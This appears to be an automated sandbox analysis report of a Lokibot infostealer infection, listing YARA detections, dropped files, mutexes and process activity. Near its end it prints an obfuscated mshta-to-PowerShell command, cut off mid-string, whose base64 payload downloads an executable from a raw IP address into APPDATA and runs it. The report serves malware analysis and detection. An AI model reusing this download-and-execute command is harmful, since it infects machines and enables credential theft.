Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: Process Memory Space: wininit.exe PID: 4416, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: Process Memory Space: wininit.exe PID: 2668, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\wininit.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe			Jump to dropped file

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 6_2_0254D51C	6_2_0254D51C
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 6_2_0666B328	6_2_0666B328
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 6_2_06667658	6_2_06667658
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 6_2_066656A8	6_2_066656A8
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 6_2_06665F18	6_2_06665F18
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 6_2_06665270	6_2_06665270
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 6_2_06665AE0	6_2_06665AE0
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 9_2_0040549C	9_2_0040549C
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: 9_2_004029D4	9_2_004029D4

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe 59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Roaming\188E93\31437F.exe (copy) 59586E753C54629F428A6B880F6AFF09F67AF0ACE76823AF3627DDA2281532E4

Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: String function: 0041219C appears 45 times
Source: C:\Users\user\AppData\Roaming\wininit.exe	Code function: String function: 00405B6F appears 42 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.2.wininit.exe.3709200.2.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.wininit.exe.36ef1e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.wininit.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 9.2.wininit.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.wininit.exe.3709200.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 6.2.wininit.exe.36ef1e0.3.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000006.00000002.1797561748.0000000003709000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000006.00000002.1795089364.0000000002561000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: wininit.exe PID: 4416, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: wininit.exe PID: 2668, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23

Source: caspol[1].exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: wininit.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 6.2.wininit.exe.6db0000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: _0020.SetAccessControl
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: _0020.AddAccessRule
Source: 6.2.wininit.exe.6db0000.5.raw.unpack, BE5k0LFu5KnoWIB8ne.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 6.2.wininit.exe.374d400.1.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: _0020.SetAccessControl
Source: 6.2.wininit.exe.374d400.1.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 6.2.wininit.exe.374d400.1.raw.unpack, KQkH3in3AYxtB1JkcI.cs	Security API names: _0020.AddAccessRule
Source: 6.2.wininit.exe.374d400.1.raw.unpack, BE5k0LFu5KnoWIB8ne.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winHTA@20/27@1/3

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 9_2_0040650A LookupPrivilegeValueW,AdjustTokenPrivileges,

9_2_0040650A

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 9_2_0040434D CoInitialize,CoCreateInstance,VariantInit,SysAllocString,VariantInit,VariantInit,SysAllocString,VariantInit,SysFreeString,SysFreeString,CoUninitialize,

9_2_0040434D

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\wininit.exe	Mutant created: \Sessions\1\BaseNamedObjects\FDD42EE188E931437F4FBE2C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6696:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hc2im1uf.x12.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: goodtoseeuthatgreatthingswithentirethingsgreatfor.hta

ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\goodtoseeuthatgreatthingswithentirethingsgreatfor.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC